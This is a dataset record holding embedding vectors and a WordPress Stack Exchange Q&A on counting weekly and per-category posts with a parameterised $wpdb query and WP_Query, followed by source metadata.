[ 0.036590576171875, 0.01136016845703125, -0.01355743408203125, -0.006443023681640625, 0.030426025390625, -0.051025390625, 0.0643310546875, -0.0267791748046875, 0.05914306640625, 0.0077972412109375, -0.075927734375, 0.0027256011962890625, -0.0089569091796875, -0.0034694671630859375, -0.00469970703125, -0.0281219482421875, 0.050262451171875, -0.047027587890625, -0.001007080078125, 0.0038604736328125, -0.0097198486328125, 0.045806884765625, -0.0005846023559570312, 0.05810546875, 0.0016298294067382812, -0.030120849609375, 0.10107421875, -0.03814697265625, 0.0088958740234375, -0.02020263671875, 0.0137786865234375, -0.0105438232421875, 0.01904296875, 0.0027027130126953125, 0.010986328125, 0.0009860992431640625, 0.042022705078125, -0.0230865478515625, 0.012237548828125, 0.031768798828125, 0.03607177734375, -0.01947021484375, -0.03619384765625, -0.01483917236328125, -0.029449462890625, -0.0037708282470703125, 0.0029144287109375, -0.019256591796875, 0.039215087890625, 0.005535125732421875, 0.005016326904296875, 0.0210113525390625, 0.00893402099609375, -0.0245819091796875, -0.009918212890625, 0.019989013671875, -0.01922607421875, -0.05035400390625, 0.0233001708984375, 0.00885009765625, 0.00521087646484375, -0.0267333984375, 0.0193939208984375, -0.0123443603515625, -0.004688262939453125, 0.0089874267578125, 0.0235443115234375, 0.0076751708984375, -0.0278778076171875, -0.0218048095703125, 0.023345947265625, -0.016448974609375, -0.009185791015625, -0.0230712890625, -0.0723876953125, 0.028106689453125, 0.02374267578125, -0.023681640625, 0.005092620849609375, -0.01052093505859375, -0.01050567626953125, 0.0241241455078125, -0.0439453125, -0.005054473876953125, -0.0187225341796875, -0.01654052734375, -0.02471923828125, 0.0057525634765625, -0.01438140869140625, -0.048370361328125, -0.025482177734375, -0.011566162109375, 0.029815673828125, -0.0672607421875, -0.0731201171875, -0.042449951171875, 0.019134521484375, 0.0364990234375, 0.0141754150390625, 0.03326416015625, -0.035797119140625, -0.033782958984375, 0.010467529296875, -0.03863525390625, 0.0258026123046875, 0.01355743408203125, 0.0037059783935546875, 0.00928497314453125, 0.06878662109375, 0.0194091796875, 0.018890380859375, 0.10504150390625, 0.00267791748046875, -0.00699615478515625, -0.0291748046875, -0.01094818115234375, -0.03857421875, 0.007434844970703125, 0.005489349365234375, -0.018524169921875, 0.00496673583984375, 0.02777099609375, 0.01023101806640625, -0.0546875, -0.005367279052734375, -0.0176544189453125, -0.0245208740234375, -0.0275726318359375, 0.014190673828125, 0.0021800994873046875, -0.0084686279296875, 0.0201416015625, 0.0201568603515625, 0.0239105224609375, -0.009765625, 0.007137298583984375, 0.025726318359375, -0.0014524459838867188, 0.0018558502197265625, 0.0024242401123046875, 0.0164031982421875, -0.028900146484375, -0.016357421875, 0.0282135009765625, 0.024688720703125, 0.03582763671875, 0.0125579833984375, -0.004505157470703125, 0.0012607574462890625, -0.06585693359375, 0.04144287109375, -0.07110595703125, 0.004360198974609375, 0.045013427734375, -0.030059814453125, 0.0184478759765625, 0.0234832763671875, -0.0003409385681152344, -0.0228729248046875, -0.0196533203125, 0.029296875, 0.02398681640625, 0.0224151611328125, -0.0195465087890625, -0.00628662109375, -0.047760009765625, -0.047210693359375, -0.00553131103515625, 0.016326904296875, 0.0152435302734375, 0.007038116455078125, 0.0115814208984375, 0.07061767578125, 0.0081634521484375, -0.0296478271484375, -0.002376556396484375, 0.00354766845703125, -0.00577545166015625, 0.0316162109375, -0.00897979736328125, -0.01085662841796875, -0.0173797607421875, 0.067626953125, -0.024444580078125, -0.029510498046875, 0.043365478515625, -0.01739501953125, -0.010009765625, 0.004364013671875, -0.0170135498046875, 0.0254058837890625, 0.04022216796875, -0.03985595703125, -0.005863189697265625, 0.01593017578125, -0.00799560546875, -0.034027099609375, -0.0228271484375, -0.00432586669921875, 0.0051116943359375, 0.02862548828125, -0.005481719970703125, -0.00571441650390625, -0.038726806640625, -0.052154541015625, -0.025238037109375, -0.004856109619140625, 0.032440185546875, -0.058258056640625, 0.007640838623046875, 0.039093017578125, 0.009918212890625, -0.0201263427734375, -0.04669189453125, -0.01551055908203125, -0.01019287109375, -0.005832672119140625, 0.049835205078125, -0.003704071044921875, -0.0063018798828125, 0.02911376953125, -0.05267333984375, 0.0312347412109375, 0.031707763671875, 0.0738525390625, -0.0037517547607421875, -0.0096435546875, -0.030731201171875, 0.054901123046875, 0.0149688720703125, -0.06494140625, 0.0197296142578125, 0.0101470947265625, 0.011962890625, -0.049957275390625, -0.019927978515625, -0.02203369140625, -0.0288848876953125, 0.007068634033203125, 0.03924560546875, 0.034271240234375, 0.032684326171875, -0.007076263427734375, 0.00403594970703125, 0.0270843505859375, -0.03851318359375, 0.0270843505859375, -0.0223846435546875, -0.03302001953125, 0.007305145263671875, 0.0003757476806640625, 0.05157470703125, 0.0304718017578125, 0.086181640625, 0.0275726318359375, 0.023345947265625, 0.01824951171875, 0.0611572265625, -0.07391357421875, 0.0096435546875, -0.01061248779296875, -0.044891357421875, -0.0350341796875, -0.0308074951171875, 0.043792724609375, -0.01971435546875, 0.038177490234375, 0.01464080810546875, -0.01116943359375, -0.026275634765625, 0.02001953125, 0.0200653076171875, 0.004863739013671875, 0.01678466796875, -0.06402587890625, 0.041748046875, -0.022308349609375, 0.0123291015625, -0.00775146484375, -0.0144195556640625, -0.01873779296875, 0.0034847259521484375, 0.014739990234375, -0.0193939208984375, -0.0031585693359375, -0.039794921875, 0.03338623046875, -0.032562255859375, -0.050445556640625, -0.0452880859375, 0.00118255615234375, 0.00414276123046875, -0.05230712890625, 0.03326416015625, -0.029052734375, -0.0310516357421875, -0.00939178466796875, 0.0242919921875, 0.0146636962890625, -0.029693603515625, 0.0221405029296875, 0.043487548828125, -0.0439453125, 0.0288848876953125, -0.0214080810546875, 0.0249481201171875, -0.015106201171875, -0.01129150390625, -0.0318603515625, -0.0188751220703125, -0.009429931640625, 0.034576416015625, 0.047454833984375, 0.07769775390625, 0.0160064697265625, -0.030731201171875, 0.0258941650390625, 0.04541015625, -0.064697265625, -0.1270751953125, 0.0418701171875, -0.061492919921875, -0.0006275177001953125, 0.0203094482421875, -0.034027099609375, -0.0306549072265625, 0.058624267578125, -0.0020008087158203125, -0.035675048828125, 0.0251922607421875, -0.044403076171875, -0.035980224609375, -0.058929443359375, 0.018951416015625, -0.0193634033203125, 0.0272979736328125, 0.00911712646484375, 0.055755615234375, 0.0158843994140625, -0.0117645263671875, 0.03155517578125, -0.006622314453125, -0.027740478515625, 0.001361846923828125, -0.0059051513671875, -0.00647735595703125, -0.0110015869140625, 0.00884246826171875, -0.004856109619140625, -0.0086669921875, 0.006374359130859375, -0.008270263671875, 0.00997161865234375, 0.02545166015625, 0.025146484375, 0.06585693359375, 0.0114288330078125, 0.06011962890625, 0.0665283203125, -0.005619049072265625, -0.0270538330078125, -0.032928466796875, -0.037353515625, 0.000007748603820800781, 0.0189361572265625, 0.0213470458984375, -0.038604736328125, 0.0290374755859375, -0.0275115966796875, -0.0290679931640625, -0.00838470458984375, -0.05389404296875, 0.068603515625, -0.00653076171875, -0.0001310110092163086, 0.01389312744140625, 0.04669189453125, -0.00859832763671875, -0.01506805419921875, 0.0025959014892578125, -0.008758544921875, -0.02044677734375, -0.0181884765625, -0.05078125, -0.0140533447265625, 0.033416748046875, 0.0193939208984375, 0.0004093647003173828, 0.01197052001953125, -0.0235748291015625, 0.01165008544921875, 0.05889892578125, -0.07781982421875, -0.0239105224609375, 0.004177093505859375, 0.011627197265625, 0.025360107421875, -0.01457977294921875, -0.0279541015625, -0.03973388671875, -0.06878662109375, 0.00432586669921875, -0.0148468017578125, -0.01241302490234375, -0.032989501953125, 0.019317626953125, -0.05419921875, -0.0285797119140625, 0.031982421875, -0.083251953125, 0.01073455810546875, 0.049835205078125, -0.02783203125, 0.019989013671875, -0.0260772705078125, -0.0635986328125, -0.131591796875, -0.0147247314453125, 0.0014276504516601562, 0.09051513671875, -0.0217437744140625, 0.015045166015625, -0.0511474609375, 0.044708251953125, -0.01983642578125, 0.020477294921875, -0.01226043701171875, 0.0288238525390625, -0.031463623046875, -0.007762908935546875, -0.006961822509765625, -0.032684326171875, -0.01282501220703125, -0.0477294921875, -0.0080718994140625, -0.0277557373046875, -0.061920166015625, -0.03662109375, -0.07061767578125, 0.0091552734375, -0.043914794921875, -0.050537109375, 0.00930023193359375, 0.046844482421875, -0.0223236083984375, 0.01611328125, -0.0673828125, -0.048675537109375, 0.04742431640625, -0.032318115234375, -0.01715087890625, 0.0124664306640625, 0.0633544921875, 0.001728057861328125, -0.022796630859375, -0.0418701171875, -0.029205322265625, 0.0032958984375, 0.004680633544921875, 0.035888671875, 0.0136871337890625, 0.01139068603515625, 0.002246856689453125, -0.0162353515625, -0.006748199462890625, 0.00007390975952148438, 0.03863525390625, 0.011138916015625, -0.016571044921875, -0.0013704299926757812, 0.00554656982421875, 0.0112152099609375, -0.0116729736328125, -0.01383209228515625, -0.0253448486328125, 0.039825439453125, 0.024444580078125, -0.0181732177734375, 0.0306549072265625, 0.002063751220703125, -0.0218353271484375, -0.0012912750244140625, 0.0190277099609375, 0.034576416015625, 0.033447265625, 0.0040283203125, 0.021087646484375, 0.032562255859375, -0.0233154296875, 0.004062652587890625, 0.0101776123046875, 0.0268096923828125, 0.0215606689453125, 0.0068359375, -0.000003814697265625, -0.026214599609375, 0.001880645751953125, 0.0264739990234375, -0.01506805419921875, -0.060638427734375, 0.00039887428283691406, 0.01041412353515625, 0.06640625, 0.0246124267578125, 0.01552581787109375, 0.052520751953125, 0.0304718017578125, 0.003170013427734375, -0.03887939453125, 0.00151824951171875, 0.016448974609375, -0.050140380859375, 0.022857666015625, 0.02276611328125, -0.0025463104248046875, 0.0125274658203125, 0.01221466064453125, 0.0736083984375, -0.0189361572265625, -0.041259765625, 0.01256561279296875, -0.014434814453125, 0.027984619140625, 0.027679443359375, -0.0032329559326171875, -0.002490997314453125, 0.01812744140625, 0.00814056396484375, -0.040679931640625, 0.03277587890625, 0.0239105224609375, 0.0308074951171875, 0.01544189453125, -0.05023193359375, 0.02313232421875, -0.0225677490234375, -0.005645751953125, 0.00959014892578125, 0.030303955078125, 0.0241241455078125, -0.0255126953125, -0.01727294921875, 0.03204345703125, 0.017730712890625, -0.0019063949584960938, 0.05194091796875, 0.02166748046875, 0.02825927734375, 0.03155517578125, -0.0304412841796875, -0.0051422119140625, 0.0179443359375, -0.0153961181640625, -0.023681640625, -0.01763916015625, -0.01910400390625, 0.008148193359375, -0.0130157470703125, -0.0283660888671875, 0.022918701171875, 0.006015777587890625, 0.0433349609375, -0.051849365234375, -0.033905029296875, -0.10064697265625, 0.004535675048828125, 0.0233154296875, 0.0024127960205078125, -0.0104217529296875, -0.0103912353515625, -0.0501708984375, -0.0305938720703125, 0.0081024169921875, -0.016632080078125, -0.009490966796875, -0.00949859619140625, 0.01001739501953125, 0.0253143310546875, 0.0345458984375, -0.01319122314453125, -0.037322998046875, -0.0138092041015625, 0.0276641845703125, -0.0003962516784667969, -0.03155517578125, 0.08447265625, 0.01318359375, 0.0234527587890625, 0.0197296142578125, 0.0278167724609375, -0.04351806640625, 0.013397216796875, 0.0162506103515625, -0.072509765625, -0.036895751953125, -0.01013946533203125, -0.032867431640625, 0.038330078125, 0.013885498046875, -0.0108795166015625, 0.017852783203125, 0.013580322265625, 0.017547607421875, -0.0158233642578125, -0.0205078125, 0.01465606689453125, -0.0025997161865234375, 0.043304443359375, 0.00647735595703125, 0.037689208984375, -0.0183258056640625, 0.0027904510498046875, -0.04888916015625, 0.00556182861328125, -0.0235137939453125, 0.0036258697509765625, 0.000553131103515625, 0.0080108642578125, 0.04473876953125, -0.03497314453125, 0.032318115234375, -0.01953125, 0.0016498565673828125, 0.041259765625, -0.00934600830078125, -0.0208740234375, 0.0250396728515625, 0.06591796875, 0.00010091066360473633, -0.041778564453125, 0.034454345703125, -0.04388427734375, -0.004520416259765625, -0.0062408447265625, 0.036407470703125, 0.005039215087890625, -0.004791259765625, -0.007259368896484375, -0.02947998046875, 0.0185394287109375, 0.016357421875, 0.01410675048828125, 0.013519287109375, 0.01739501953125, 0.0214080810546875, 0.01284027099609375, 0.025726318359375, 0.0035114288330078125, -0.006549835205078125, -0.0010709762573242188, 0.007793426513671875, -0.0031490325927734375, -0.024627685546875, -0.01306915283203125, 0.04998779296875, -0.01678466796875, -0.038848876953125, -0.0252227783203125, 0.01617431640625, -0.0074920654296875, -0.076904296875, 0.0072021484375, -0.033843994140625, 0.0240478515625, -0.01053619384765625, 0.0321044921875, 0.0056915283203125, 0.043060302734375, 0.0011005401611328125, 0.003582000732421875, 0.0102081298828125, -0.0146942138671875, -0.07696533203125, -0.0384521484375, 0.038299560546875, 0.03265380859375, -0.043060302734375, 0.049957275390625, 0.0015163421630859375, -0.053985595703125, -0.0190277099609375, -0.0218505859375, 0.055511474609375, -0.060272216796875, 0.0100250244140625, 0.0382080078125, 0.0202789306640625, -0.015777587890625, -0.006900787353515625, 0.0266876220703125, -0.0150299072265625, 0.0034275054931640625, 0.00023734569549560547, -0.00919342041015625, -0.015899658203125, -0.039764404296875, -0.007419586181640625, 0.03143310546875, -0.043670654296875, -0.0083770751953125, 0.0706787109375, 0.023162841796875, -0.0277099609375, 0.00537109375, -0.0266265869140625, 0.0289764404296875, -0.02294921875, 0.060211181640625, -0.01522064208984375, -0.0052947998046875, 0.035919189453125, 0.0299835205078125, 0.00507354736328125, -0.01491546630859375, -0.0120697021484375, 0.0142974853515625, 0.06817626953125, 0.0136566162109375, 0.003879547119140625, 0.0234832763671875, -0.00899505615234375, 0.05963134765625, 0.0161285400390625, -0.050994873046875, 0.017669677734375, -0.01959228515625, -0.0557861328125, 0.04388427734375, 0.01250457763671875, 0.04217529296875, 0.016326904296875, 0.0484619140625, -0.0211181640625, 0.004150390625, 0.041046142578125, -0.0289459228515625, -0.0211181640625, 0.06494140625, 0.00830841064453125, -0.0085296630859375, -0.048675537109375, -0.036529541015625, 0.015625, -0.00839996337890625, 0.0390625, 0.042877197265625, 0.0250396728515625, 0.09625244140625, 0.0131072998046875, 0.0247802734375, 0.01251983642578125, -0.01026153564453125, 0.0187835693359375, 0.044219970703125, 0.037078857421875, 0.0142364501953125, 0.024322509765625, 0.0098876953125, 0.016876220703125, -0.031005859375, -0.0294952392578125, 0.00672149658203125, -0.00467681884765625, -0.0100555419921875, -0.0172271728515625, -0.0279388427734375, -0.018402099609375, 0.0239715576171875, -0.04052734375, 0.0016155242919921875, 0.0164642333984375, 0.0179595947265625, -0.00033545494079589844, 0.03472900390625, -0.04864501953125, -0.03448486328125, -0.01177978515625, -0.0248260498046875, 0.040008544921875, 0.0411376953125, -0.0007944107055664062, 0.020965576171875, -0.0104827880859375, -0.006252288818359375, -0.0256805419921875, 0.036468505859375, -0.0024566650390625, 0.015777587890625, -0.04296875, -0.0274200439453125, -0.01476287841796875, 0.03924560546875, 0.068359375, 0.0129241943359375, 0.0272064208984375, 0.02447509765625, 0.0169830322265625, 0.034423828125, 0.041778564453125, -0.00653076171875, -0.01352691650390625, -0.00682830810546875, 0.003459930419921875, 0.02081298828125, -0.0030345916748046875, -0.0101776123046875, 0.0240020751953125, 0.034027099609375, 0.01111602783203125, -0.020477294921875, 0.015716552734375, -0.032470703125, 0.0244903564453125, 0.0462646484375, 0.03271484375, 0.05133056640625, -0.1510009765625, -0.03179931640625, -0.037933349609375, -0.08197021484375, 0.0565185546875, 0.065673828125, -0.02752685546875, -0.01076507568359375, -0.000023543834686279297, -0.0081024169921875, -0.0174407958984375, 0.017547607421875, 0.00035309791564941406, 0.016937255859375, 0.0095062255859375, 0.00955963134765625, -0.033355712890625, -0.0078582763671875, -0.0282135009765625, 0.0240631103515625, 0.0106201171875, 0.0111083984375, 0.013671875, 0.03753662109375, -0.01418304443359375, -0.0243988037109375, 0.023284912109375, -0.01268768310546875, 0.01617431640625, -0.0232086181640625, -0.0211639404296875, -0.00039649009704589844, -0.037872314453125, -0.035003662109375, 0.05877685546875, -0.055328369140625, -0.00847625732421875, 0.002872467041015625, 0.0242919921875, -0.060791015625, 0.03271484375, -0.0123443603515625, 0.0014657974243164062, 0.01611328125, -0.0211181640625, 0.0264129638671875, 0.03546142578125, 0.036590576171875, 0.0343017578125, 0.031707763671875, 0.0228118896484375, 0.04168701171875, -0.003509521484375, 0.061767578125, 0.04705810546875, -0.04827880859375, 0.00730133056640625, -0.01001739501953125, -0.020294189453125, 0.0472412109375, -0.011871337890625, 0.01459503173828125, 0.003498077392578125, -0.006473541259765625, 0.021331787109375, 0.0306396484375, 0.0494384765625, -0.02398681640625, 0.004573822021484375, 0.03662109375, -0.0120849609375, -0.0008072853088378906, 0.0031280517578125, -0.0167388916015625, -0.0174713134765625, -0.02630615234375, 0.0035152435302734375, -0.00745391845703125, -0.02569580078125, -0.0279083251953125, -0.0158233642578125, -0.0194854736328125, -0.003627777099609375, -0.01873779296875, 0.01009368896484375, 0.003482818603515625, 0.0005598068237304688, -0.045867919921875, -0.014984130859375, 0.033477783203125, 0.03533935546875, -0.04815673828125, 0.010498046875, -0.0109100341796875, -0.026123046875, -0.007770538330078125, -0.03411865234375, -0.017303466796875, 0.0079498291015625, 0.012847900390625, -0.03753662109375, -0.0277099609375, 0.0030002593994140625, 0.0098114013671875, -0.033203125, 0.0239410400390625, -0.0225372314453125, -0.004413604736328125, -0.0032444000244140625, 0.004062652587890625, -0.0390625, -0.006519317626953125, 0.038482666015625, -0.0079803466796875, 0.022735595703125, -0.020111083984375, -0.06500244140625, 0.0255584716796875, -0.0007543563842773438, -0.0288238525390625, -0.02392578125, -0.0155792236328125, -0.0360107421875, 0.027130126953125, -0.00348663330078125, -0.029876708984375, 0.0001786947250366211, 0.046722412109375, -0.00960540771484375, 0.0286712646484375, 0.007694244384765625, 0.0140533447265625, -0.041015625, 0.0005359649658203125, -0.0210723876953125, -0.015869140625, 0.023040771484375, -0.0251007080078125, 0.035400390625, 0.037353515625, -0.03668212890625, 0.0171356201171875, -0.015625, -0.00469970703125, -0.006328582763671875, -0.03289794921875, -0.0249786376953125, -0.03643798828125, 0.05926513671875, 0.00901031494140625, 0.016387939453125, -0.00827789306640625, -0.0228729248046875, -0.0128021240234375, -0.0694580078125, 0.01507568359375, 0.0452880859375, -0.049896240234375, 0.01568603515625, 0.0034503936767578125, 0.0017538070678710938, -0.034820556640625, 0.01222991943359375, -0.0264739990234375, -0.0239715576171875, -0.01007080078125, 0.0076904296875, -0.0308380126953125, 0.03509521484375, -0.01202392578125, 0.0007143020629882812, 0.0048828125, -0.00862884521484375, -0.0203857421875, -0.00037288665771484375, 0.043548583984375, 0.01113128662109375, -0.02301025390625, 0.023834228515625, 0.00457763671875, 0.031158447265625, -0.0235443115234375, 0.0174102783203125, -0.018524169921875, -0.0261688232421875, -0.00012624263763427734, 0.028778076171875, -0.0117950439453125, -0.026458740234375, -0.01251983642578125, 0.0128021240234375, -0.006572723388671875, 0.04705810546875, 0.05279541015625, 0.0191650390625, 0.050048828125, 0.040863037109375, -0.067138671875, 0.040252685546875, -0.04541015625, -0.02288818359375, 0.0220184326171875, -0.058502197265625, -0.06451416015625, 0.03851318359375, -0.0032863616943359375, -0.01206207275390625, 0.025054931640625 ]
80ddaa9f14a3fd3bd088b17305b2e75ba34565ea
Wordpress Stackexchange Q: Show weekly posts statistic in WordPress I create a table in the footer. I would like to show some statistics, like total posts, weekly posts, total posts of the specific category. I just echo total posts with wp_count_posts()->publish; What can I do for the other one? A: You already have the total post, so in order to get the total post within the last week, it's better if you do this on your functions.php file: function get_posts_count_from_last_week($post_type ='post') { global $wpdb; $numposts = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) ". "FROM {$wpdb->posts} ". "WHERE ". "post_status='publish' ". "AND post_type= %s ". "AND post_date> %s", $post_type, date('Y-m-d H:i:s', strtotime('-168 hours')) ) ); return $numposts; } And then use it in the footer. <?php echo get_posts_count_from_last_week(); ?> To work with categories we could use WP_Query: $args = array( 'cat' => 4, 'post_type' => 'videos' ); $the_query = new WP_Query( $args ); echo $the_query->found_posts;
Q: Show weekly posts statistic in WordPress I create a table in the footer. I would like to show some statistics, like total posts, weekly posts, total posts of the specific category. I just echo total posts with wp_count_posts()->publish; What can I do for the other one? A: You already have the total post, so in order to get the total post within the last week, it's better if you do this on your functions.php file: function get_posts_count_from_last_week($post_type ='post') { global $wpdb; $numposts = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) ". "FROM {$wpdb->posts} ". "WHERE ". "post_status='publish' ". "AND post_type= %s ". "AND post_date> %s", $post_type, date('Y-m-d H:i:s', strtotime('-168 hours')) ) ); return $numposts; } And then use it in the footer. <?php echo get_posts_count_from_last_week(); ?> To work with categories we could use WP_Query: $args = array( 'cat' => 4, 'post_type' => 'videos' ); $the_query = new WP_Query( $args ); echo $the_query->found_posts; A: Wordpress query supports Date Query. To get the specific category, you will need to add category parameter as well.
wordpress
{ "language": "en", "length": 170, "provenance": "stackexchange_00019.jsonl.gz:487956", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/309331" }
[ 0.06243896484375, 0.0211639404296875, -0.024322509765625, -0.04193115234375, 0.043060302734375, -0.05560302734375, 0.0628662109375, -0.0027713775634765625, -0.0020809173583984375, 0.01161956787109375, -0.04217529296875, -0.0133514404296875, -0.0275115966796875, -0.027252197265625, -0.00730133056640625, -0.06707763671875, 0.0310516357421875, -0.041046142578125, 0.04376220703125, -0.00504302978515625, 0.01285552978515625, 0.02166748046875, 0.08184814453125, 0.0258026123046875, -0.01552581787109375, -0.0054473876953125, 0.0638427734375, -0.032501220703125, 0.012725830078125, -0.00775146484375, 0.006427764892578125, -0.023956298828125, 0.01348876953125, 0.0080718994140625, -0.0165252685546875, 0.0193328857421875, 0.03436279296875, -0.01061248779296875, 0.0250701904296875, 0.0304718017578125, -0.0020961761474609375, 0.015716552734375, 0.0126190185546875, 0.0020694732666015625, -0.01544952392578125, -0.0217132568359375, 0.006816864013671875, -0.034210205078125, 0.01922607421875, 0.002666473388671875, -0.0279693603515625, -0.0142059326171875, 0.0016307830810546875, -0.0292816162109375, -0.009185791015625, -0.00983428955078125, 0.00484466552734375, 0.0079193115234375, 0.0726318359375, -0.059783935546875, -0.08221435546875, -0.0565185546875, 0.061981201171875, -0.0231475830078125, -0.0255889892578125, 0.0184478759765625, 0.01971435546875, 0.0144195556640625, -0.027557373046875, -0.047119140625, 0.004322052001953125, -0.0008406639099121094, 0.0070037841796875, 0.021881103515625, 0.0057220458984375, -0.0697021484375, 0.0269927978515625, -0.0092926025390625, -0.0030117034912109375, 0.04296875, 0.01556396484375, 0.0184173583984375, -0.059814453125, 0.0184173583984375, -0.03216552734375, -0.005725860595703125, -0.005908966064453125, -0.00928497314453125, -0.0173187255859375, -0.046722412109375, 0.0018978118896484375, -0.023834228515625, -0.044525146484375, 0.006893157958984375, 0.0135650634765625, -0.0567626953125, -0.004436492919921875, 0.0212554931640625, -0.036956787109375, -0.032257080078125, -0.0592041015625, 0.0206298828125, -0.081298828125, 0.007137298583984375, 0.0296630859375, 0.041534423828125, -0.03204345703125, -0.0005021095275878906, 0.0732421875, 0.04736328125, 0.0306854248046875, 0.0081939697265625, -0.041259765625, -0.01294708251953125, -0.03997802734375, 0.02703857421875, -0.0634765625, -0.01174163818359375, 0.00025010108947753906, 0.0277252197265625, -0.021270751953125, -0.01080322265625, -0.00777435302734375, -0.0187225341796875, 0.0022220611572265625, -0.0374755859375, -0.023590087890625, 0.031097412109375, 0.0092620849609375, 0.08349609375, -0.037689208984375, -0.015625, 0.035675048828125, -0.0185699462890625, -0.007495880126953125, -0.05206298828125, 0.032562255859375, -0.0288543701171875, -0.01043701171875, -0.00653076171875, -0.030609130859375, 0.003101348876953125, 0.01513671875, -0.0450439453125, 0.031890869140625, -0.002307891845703125, 0.01136016845703125, 0.012786865234375, 0.0030517578125, -0.00475311279296875, 0.0247650146484375, -0.01342010498046875, 0.027435302734375, 0.01128387451171875, -0.03143310546875, 0.02484130859375, -0.025238037109375, -0.0110015869140625, -0.014678955078125, -0.006256103515625, 0.049713134765625, 0.006099700927734375, -0.032318115234375, -0.01190948486328125, -0.050872802734375, -0.01506805419921875, -0.0297393798828125, -0.0104522705078125, 0.0158233642578125, -0.033111572265625, 0.022552490234375, -0.0223388671875, 0.062042236328125, 0.00604248046875, -0.00228118896484375, 0.03204345703125, -0.02508544921875, 0.00406646728515625, 0.02728271484375, -0.01412200927734375, -0.04254150390625, -0.039093017578125, 0.020416259765625, -0.01453399658203125, -0.0017948150634765625, 0.002490997314453125, 0.015899658203125, 0.001415252685546875, -0.0200042724609375, 0.016387939453125, 0.01262664794921875, 0.039337158203125, -0.06341552734375, 0.053680419921875, 0.0004734992980957031, -0.044281005859375, -0.043731689453125, -0.030975341796875, -0.01093292236328125, -0.004146575927734375, -0.01274871826171875, 0.040130615234375, -0.02081298828125, 0.042877197265625, -0.05096435546875, 0.038665771484375, -0.0048675537109375, 0.03460693359375, -0.035125732421875, 0.035491943359375, 0.0538330078125, 0.040069580078125, -0.050384521484375, -0.02197265625, -0.01995849609375, -0.00018405914306640625, -0.0257415771484375, -0.022247314453125, -0.0235595703125, -0.0038471221923828125, -0.0311431884765625, -0.024078369140625, -0.037384033203125, 0.02386474609375, 0.049407958984375, -0.03973388671875, 0.0165863037109375, -0.037078857421875, 0.0251922607421875, 0.0002970695495605469, -0.032806396484375, -0.006511688232421875, 0.03460693359375, 0.031341552734375, -0.032440185546875, -0.0013370513916015625, 0.0187530517578125, -0.0210723876953125, 0.001049041748046875, 0.047882080078125, 0.035980224609375, 0.01385498046875, -0.01102447509765625, -0.027496337890625, 0.034210205078125, -0.034210205078125, 0.02166748046875, -0.03564453125, -0.01540374755859375, 0.031463623046875, 0.048248291015625, 0.00975799560546875, 0.0076904296875, -0.017791748046875, -0.01517486572265625, 0.031036376953125, 0.005512237548828125, 0.0191650390625, -0.034576416015625, 0.01236724853515625, 0.0047454833984375, -0.0361328125, -0.0266265869140625, -0.018768310546875, 0.050445556640625, -0.0139007568359375, 0.040130615234375, 0.02978515625, -0.0167083740234375, -0.015777587890625, 0.00247955322265625, 0.006465911865234375, 0.005626678466796875, -0.0036029815673828125, -0.0460205078125, 0.00550079345703125, -0.043243408203125, 0.024505615234375, 0.022674560546875, -0.032196044921875, -0.0159759521484375, 0.037139892578125, -0.0179901123046875, -0.011016845703125, -0.048980712890625, -0.052642822265625, 0.0081939697265625, 0.024932861328125, 0.0161285400390625, 0.01079559326171875, 0.0299835205078125, 0.06488037109375, 0.005146026611328125, 0.033447265625, 0.00998687744140625, 0.0214691162109375, 0.035858154296875, -0.0679931640625, 0.04986572265625, -0.0487060546875, 0.0386962890625, 0.05255126953125, -0.00872039794921875, -0.00801849365234375, -0.00794219970703125, -0.034210205078125, 0.01666259765625, 0.0101318359375, -0.0240478515625, -0.0562744140625, -0.034149169921875, -0.0028400421142578125, 0.042266845703125, 0.0616455078125, -0.0053863525390625, -0.045989990234375, -0.014495849609375, 0.034698486328125, -0.1414794921875, -0.1435546875, 0.013641357421875, -0.05609130859375, -0.040191650390625, -0.00012803077697753906, -0.05157470703125, 0.0198211669921875, 0.00933074951171875, -0.00614166259765625, -0.01198577880859375, 0.0186920166015625, -0.037872314453125, -0.0277557373046875, -0.04510498046875, 0.00634765625, -0.0110931396484375, 0.0185546875, -0.0052337646484375, 0.0899658203125, 0.0092620849609375, -0.06591796875, -0.038482666015625, 0.0205078125, -0.0195159912109375, -0.00907135009765625, 0.0189361572265625, 0.022613525390625, -0.01154327392578125, 0.01971435546875, -0.004802703857421875, 0.04193115234375, -0.0343017578125, -0.022491455078125, 0.0175323486328125, 0.021209716796875, 0.02789306640625, 0.0196075439453125, -0.0158538818359375, 0.0469970703125, 0.01556396484375, -0.0238494873046875, -0.014129638671875, 0.007450103759765625, -0.0256195068359375, -0.029754638671875, 0.035308837890625, -0.017059326171875, -0.004302978515625, -0.02935791015625, 0.033203125, -0.0150146484375, 0.032562255859375, -0.038848876953125, 0.0071563720703125, 0.01837158203125, 0.040618896484375, -0.0193023681640625, -0.062042236328125, -0.033172607421875, 0.0298309326171875, -0.03887939453125, 0.0184478759765625, -0.0025691986083984375, 0.045806884765625, -0.02001953125, -0.0032825469970703125, 0.02508544921875, 0.0247650146484375, -0.0018548965454101562, 0.01355743408203125, -0.0279083251953125, 0.01447296142578125, 0.049102783203125, -0.0072174072265625, -0.0295562744140625, -0.033447265625, 0.01021575927734375, -0.04766845703125, -0.043609619140625, -0.0120391845703125, 0.00684356689453125, -0.03350830078125, -0.01641845703125, -0.0189666748046875, -0.018402099609375, -0.0281982421875, 0.03302001953125, -0.043243408203125, -0.02728271484375, 0.033843994140625, -0.02569580078125, -0.0116729736328125, 0.0113983154296875, -0.032379150390625, -0.00562286376953125, -0.035369873046875, -0.0008749961853027344, -0.019683837890625, -0.0151214599609375, 0.036956787109375, 0.01488494873046875, -0.0079193115234375, -0.033050537109375, 0.00174713134765625, 0.036834716796875, 0.01508331298828125, 0.0099334716796875, -0.003986358642578125, -0.0007572174072265625, 0.007015228271484375, -0.027801513671875, -0.005168914794921875, -0.03369140625, -0.007472991943359375, -0.0445556640625, -0.039947509765625, 0.0165252685546875, -0.033203125, 0.0289459228515625, -0.03533935546875, 0.0018329620361328125, 0.0170135498046875, -0.0050506591796875, 0.012542724609375, 0.0316162109375, -0.0228729248046875, 0.0244903564453125, -0.016021728515625, 0.005489349365234375, 0.049041748046875, 0.03607177734375, -0.007709503173828125, -0.0013132095336914062, 0.07763671875, 0.0191497802734375, -0.03778076171875, -0.0673828125, -0.00817108154296875, 0.04949951171875, -0.024139404296875, 0.0280914306640625, 0.0232086181640625, -0.04638671875, 0.047210693359375, 0.020751953125, 